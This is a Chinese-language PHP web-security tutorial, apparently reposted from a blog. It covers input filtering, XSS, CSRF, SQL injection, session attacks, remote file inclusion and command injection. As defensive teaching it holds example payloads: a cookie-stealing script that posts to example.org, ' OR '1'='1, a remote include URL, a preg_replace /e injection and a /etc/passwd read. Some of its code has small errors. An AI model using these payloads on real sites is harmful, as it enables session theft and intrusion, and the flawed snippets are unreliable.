php如何做到安全
一、概念和原则
所有的输入数据都是不安全的
我们不能信任任何外来的数据,例如用户的表单提交数据、请求字符串、甚至是RSS种子,都不能信任。这些数据都可以被伪造。 这些数据中可能故意包含某些字符,破坏程序的运行环境,例如可能包含有害的javascript代码。
因此,PHP预定义全局数组中的数据都有可能是伪造信息,包括$_POST,$_GET,$_COOKIE,甚至包括$_SERVER数组,因为这个数组中的部分数据是由客户端提供的信息。唯一的例外是$_SESSION,因为SESSION数据是保存在服务器上的。
总结:在处理输入数据之前,先进行过滤,有两种过滤方法:白名单和黑名单
黑名单和白名单过滤
黑名单过滤更宽松,它假设我们知道所有不能允许通过的内容。例如预先定义一系列的单词表,只要不在这个单词表中出现的内容都是合法的。
举例: 获得用户输入的用户名和密码以后,我们要进行过滤,不允许用户输入单引号,双引号,等号,大于小于号,分号等等,因为这些符号可能影响我们SQL语句的结果,导致执行了意料之外的SQL,对数据安全造成严重破坏
白名单过滤更严格,他假设我们只知道能允许通过的内容。例如预先定义一系列规则,只有满足这个规则的内容才是合法的。
举例:获得用户输入的用户名和密码以后,我们要进行过滤,只允许用户输入字母和数字,因为我们确信这些符号不可能影响我们SQL语句的结果。
对输入进行过滤
我们可以在客户端使用javascript脚本对输入数据进行过滤验证,但是不能只依靠客户端,因为数据可以不通过你编写的客户端发送到服务器,因此,我们可以在客户端进行校验以提高用户感受,但在服务器端对数据进行验证是必须的。
TIPS:可以使用ctype_alpha()函数来验证内容是否全部由字母组成,ctype_alnum()判断内容是否全由数字组成。
对输出进行适当编码
不当的输入数据可能危害你的程序,不当的输出同样有可能危害你的客户。Web程序主要是与数据库和浏览器打交道,根据数据输出对象的不同,要进行相应的编码。
如果是输出数据到浏览器,那么要检查数据是否符合HTML规范,例如<>用于表示一个特定的标记,因此如果你的数据中包含<>,就需要对它们进行编码,以保证浏览器能够正确识别
TIPS:htmlspecialchars()和htmlentities()函数可以对HTML特殊符号进行编码,推荐使用后者
如果是输出数据到数据库,那么可以使用*_escape_string()函数来对SQL语句编码,推荐使用预编译处理Prepared SQL语句。从PHP5.1开始引入了PDO对象,可以在所有数据库引擎上提供Prepared SQL语句功能。即使某个数据库引擎不支持Prepared SQL,PDO也会自动为你进行语法转换。
举例
// 对输入进行过滤
$clean = array();
if (ctype_alpha($_POST[’username’]))
{
$clean[’username’] = $_POST[’username’];
}
// 使用占位符来编写SQL语句
$sql = ’SELECT * FROM users WHERE username = :username’;
// 创建预编译语句对象
$stmt = $dbh->prepare($sql);
// 绑定用户名参数
$stmt->bindParam(’:username’, $clean[’username’]);
// 执行并获取结果集
$stmt->execute();
$results = $stmt->fetchAll();
Register Globals
从 PHP 4.2.0 版开始,配置文件中register_globals 的默认值从 on 改为 off。当register_globals 的默认值为on时,所有变量(请求、表单、会话、COOKIE)都直接注入代码,也就是说当你使用$a这个变量时, 这个变量的数值有可能来自任何地方(请求、表单、会话、COOKIE),这给程序员开发带来了便利,但如果程序员的代码不严谨的话,将带来安全隐患
例如
<?php
//$authorized = false; 如果程序员漏写了这条语句
if (authenticated_user()) {
$authorized = true;
}
// 由于并没有事先把 $authorized 初始化为 false,
// 当 register_globals 打开时,可能通过GET auth.php?authorized=1 来定义该变量值
// 所以任何人都可以绕过身份验证
if ($authorized) {
include "/highly/sensitive/data.php";
}
?>
等到PHP 6推出,这个register_globals配置项将被取消。
二、网站安全
伪造表单
要知道不只你编写的表单可以给你自己提交数据,其他人也可以编写伪造表单来向你的站点提交数据,这样一来,你用JavaScript对表单进行的验证和过滤就都白写了。我们也可以使用$_SERVER["HTTP_REFERER "]来判断上一页的地址是不是你自己站点的地址,但是HTTP_REFERER信息也是由客户端提供的,因此也不安全。 所以必须在服务器端对数据进行验证!
跨站脚本攻击(XSS)
跨站脚本攻击是另外一种常见的攻击方式,而且简单易用。看看下面的例子:
你开发了一个留言程序,这个程序允许用户发表留言,发表完留言后自动转向查看所有留言页面。如果有一个用户发表了这样一段留言
<script>
document.location = ’’http://example.org/getcookies.php?cookies= ’’
+ document.cookie;
</script>
那么其他用户在查看所有留言的时候,都将“看到”这段代码,这段代码将被他们的浏览器执行,把他们机器上保存的COOKIE信息(有可能是个人账号、密码、电话等隐私信息)发送到另外一个指定的网站。
这可以通过对输出进行编码来防止,例如使用htmlentities()编码以后,上面这段代码将变成
<script>
document.location = 'http://example.org/getcookies.php?cookies= '
+ document.cookie;
</script>
因此也就不能造成危害了
跨站请求伪造(CSRF)
XSS攻击依靠的是用户对于网站程序的信任, 而CSRF攻击依靠的是网站对于用户的信任。例如:
一个恶意用户在网站购买书籍时候发现,用于购买请求采用GET方式提交,提交地址为http://yourhost/buybook.php?book_id=0129&qty=1
那么他就可以在其他站点上防置一个用于发送伪造请求的图片链接<img src="http://yourhost/buybook.php?book_id=0129&qty=1 " />,这样其他用户在浏览包含一个这样的图片链接的网页的时候,就毫无察觉的发送了一个请求到购书网站。
对于大部分用户来说,这样的请求是无效的,因为他们并不是购书网站的用户。但是如果他正好也是这个购书网站用户,那么这个请求就真的将执行购买书的操作。
预防CSRF请求可以采取以下方法
1)对于关键行为,避免使用$_GET,$_REQUEST,只使用$_POST,这样只有用户主动点击提交按钮,才能发生一个购买行为。(当然伪造$_POST数据也很容易,比如在恶意网站上放一个查看按钮,而这个按钮实际上是发送一个购书请求)
2)对于关键行为,避免使用COOKIE数据对用户进行验证,使用SESSION可以保证只有用户登录过购书站点才能进行购书行为。
3)对于关键行为,设置令牌,例如
<?php
session_start();
$token = md5(uniqid(rand(), TRUE));//随机生成一个令牌
$_SESSION[’token’] = $token;//存入SESSION
?>
<form action="checkout.php" method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<!-- Remainder of form -->
</form>
这样,接收到提交数据后,就可以用SESSION中保存的令牌,与请求中的令牌进行比较,这样就可以完全防止伪造的请求。
三、数据库安全
当使用用户输入作为SQL语句的组成部分时,很容易遭到SQL注入攻击。
例如采用方法进行登录验证时
$username = $_POST[’username’];
$password = md5($_POST[’password’]);
$sql = "SELECT * FROM users WHERE username='{$username}' AND password='{$password}'";
如果恶意用户输入用户名为 ' OR '1' = '1,那么拼接成的SQL语句就变成了
SELECT * FROM users WHERE username='' OR '1' = '1' AND password='...'
这条语句将查询出数据库中所有的用户,恶意用户就顺利登陆了
使用*_escape_string()函数对数据进行编码后,再进行拼接,或者使用预处理SQL语句,可以有效地防止SQL注入。
例如使用*_escape_string()函数对恶意用户名编码后,用户名将变成 /' OR /'1/' = /'1
四、会话安全
会话攻击最常见有两种形式:Session Fixation和session hijacking
大部分其他形式的攻击都可以通过输入过滤和输出编码来预防,但是会话攻击不行。
我们需要尽早为为此而做准备,同时查找程序潜在的漏洞
1、Session Fixation (会话指定,又叫做session riding,会话桥接),攻击的过程如下:
在恶意网站上放置如下链接<a href="http://example.org/index.php?PHPSESSID=1234">Click here</a>, 用户点击这
个网站进入目标网站。假如这个用户正好是一个管理员,他登陆进入管理后台。(因为PHP默认将SESSIONID保存在COOKIE中
,但如果客户端禁用COOKIE,PHP就会使用请求字符串传递,并且SESSIONID的默认名称为PHPSESSID,所以PHP现在将从请求
字符串获得SESSIONID。
在管理员在后台操作的这段时间,SESSIONID一直是有效的,直到他退出登录为止。
如果我们在一个用户通过这个恶意链接访问目标站点以后,立刻也使用1234这个SESSIONID进行自动访问,那么就可以以管理
员身份登录到后台进行操作,比如增加一个管理员......
解决Session Fixation的方法是:一旦用户改变身份,就立即让原来的SESSION失效,这样就可以有效防止 Session
Fixation。
session_start();
// If the user login is successful, regenerate the session ID
if (authenticate())
{
session_regenerate_id();
}
2、session hijacking (session劫持)
session hijacking是常见的网络攻击方式,你的网关服务器,你同一个网段的用户都可以通过“嗅探器”软件来监听你的
TCP通信数据,可以从这些数据中分析出来他们感兴趣的目标网站和SESSION ID。
没准在你在目标网站浏览操作的同时,攻击者也在用你的身份进行浏览操作。
为了防止这样的攻击方式,我们可以采取下面的方式
1)在SESSION中保存$_SERVER[’HTTP_USER_AGENT’],不同的客户端的USER_AGENT应该不完全相同,因此可以起到一定的
预防session劫持的作用
2)执行一个高度敏感的动作例如修改密码时,仍然要重新验证身份。绝对不要让一个仅通过会话验证的用户在不输入旧密码
的情况下去修改密码。你也应当避免直接向一个仅通过会话ID验证的用户显示高度敏感的数据,例如信用卡号
3)登录和关键操作最好使用SSL连接,以防信息被监听
4)不要在COOKIE和SESSION中保存明文密码(MD5也不安全,可以在1小时内被暴力破解开)
五、文件系统安全
PHP可以直接访问文件系统、执行Shell命令,这给程序开发提供了强大的支持的同时也可能会带来危险。同样,恰当的过滤和编码可以避免危险。
1、远程代码注入
我们可以使用include和require来包含文件,这两个命令非常方便。
例如我们可以使用下面的代码来在页面包含一个可变化的模块
include "{$_GET[’section’]}/data.inc.php";
当用户访问http://example.org/?section=news 的时候,上面的语句变成
include "news/data.inc.php";
页面就包含了新闻模块。
但如果攻击者使用这样的链接来访问http://example.org/?section=http://attack/attack.php ?
那么上面的语句就变成
include "http://attack/attack.php?/data.inc.php ";
那么服务器将运行攻击者提供的attack.php程序。
为了防止这种情况的发生,我们可以使用下面的代码来实现动态包含的功能
$clean = array();
$sections = array(’home’, ’news’, ’photos’, ’blog’);
if (in_array($_GET[’section’], $sections))
{
$clean[’section’] = $_GET[’section’];
}
else
{
$clean[’section’] = ’home’;
}
include "{clean[’section’]}/data.inc.php";
另外,PHP配置文件中的allow_url_fopen选项可以设置是否将URL地址当作普通文件对待,默认情况下,这个选项为ON,因
此也就可以在include和require里面使用URL地址。如果将该选项关闭,那么也可以防止上述情况的发生。
假设有下面一段代码
<?php
$string='AaBbCcDdEeFfGg';
$pattern='/^/e';
echo $preg_replace($pattern,"str_replace('abc','<i>abc</i>',AaBbCc);", "AaBbCc");
?>
2、命令行注入
PHP提供了exec(), system(),passthru(),shell_exec()等函数,以及` (反引号)运算符。这些函数可以直接调用命令行系统指令
,例如system('dir c:'); 可以显示C盘符下的目录内容, system("ls -al|cat/etc/passwd");可以获得passwd的内容。
假如攻击者能将这些命令注入你的代码并运行,将给系统带来巨大的危害。
例如,我们实现一个全文搜索功能,要把文章中用户指定的单词变成斜体显示,我们的代码如下
<?php
$string='the content to display';
$pattern='/^/e';
echo preg_replace($pattern,"str_replace('".$_GET['word']."', '<i>".$_GET['word']."</i>',
$string);","");
?>
其中/e修正符指定,将要替换部分作为PHP代码运行。
当用户输入content, 那么网页上将显示the <i>content</i> to display,实现了我们所需功能。
但是如果攻击者输入b','b','b'); phpinfo();//
那么将运行str_replace('b','b','b'); phpinfo();//.......
再例如,我们根据用户输入,来决定调用什么函数
<?php
if(isset($_GET['func']))
{
$myfunc=$_GET['func']);
echo $myfunc();
echo "<br/>";
}
?>
假如用户输入?func=phpinfo, 那么将运行phpinfo()
我们还是应该使用适当的过滤和编码来解决命令行注入问题,可以使用escapeshellcmd()和escapeshellarg()函数。
如果有可能,避免使用命令行,如果必须要用,那么也应该避免使用用户输入来拼接shell命令。
3、共享主机
在共享主机模式下,存在许多安全问题。PHP曾经尝试推出safe_mode配置选项来解决这些问题。但是,正如PHP手册所说,
“从PHP的层面出发解决这些问题在体系结构上就是不对的”。因此PHP6不会推出safe_mode配置选项。
但是对于共享主机来说,存在三个非常重要的配置选项:open_basedir, disable_functions, 和disable_classes
1)open_basedir
open_basedir选项用于限定可使用的文件范围。当使用fopen()或者include时,php检查文件的路径,如果在open_basedir
指定的目录下,那么可以成功打开文件,否则失败。
可以在php.ini配置文件中,或者基于每台虚拟主机的httpd.conf配置文件中,设置open_basedir。
在下例中,PHP脚本只能使用/home/user/www 和 /usr/local/lib/php目录下的文件(后者通常是PEAR库文件的保存目录)
<VirtualHost *>
DocumentRoot /home/user/www
ServerName www.example.org
<Directory /home/user/www>
php_admin_value open_basedir "/home/user/www/:/usr/local/lib/php/"
</Directory>
</VirtualHost>
2)disable_functions和disable_classes
disable_functions和disable_classes允许你因为安全考虑而禁用某些PHP函数或者类。只能在php.ini中配置这两个选项
。请看下面的例子:
; Disable functions
disable_functions = exec,passthru,shell_exec,system
; Disable classes
disable_classes = DirectoryIterator,Directory
总结
时刻牢记输入过滤和输出编码!
转自:http://blog.0755hqr.com/post-758.html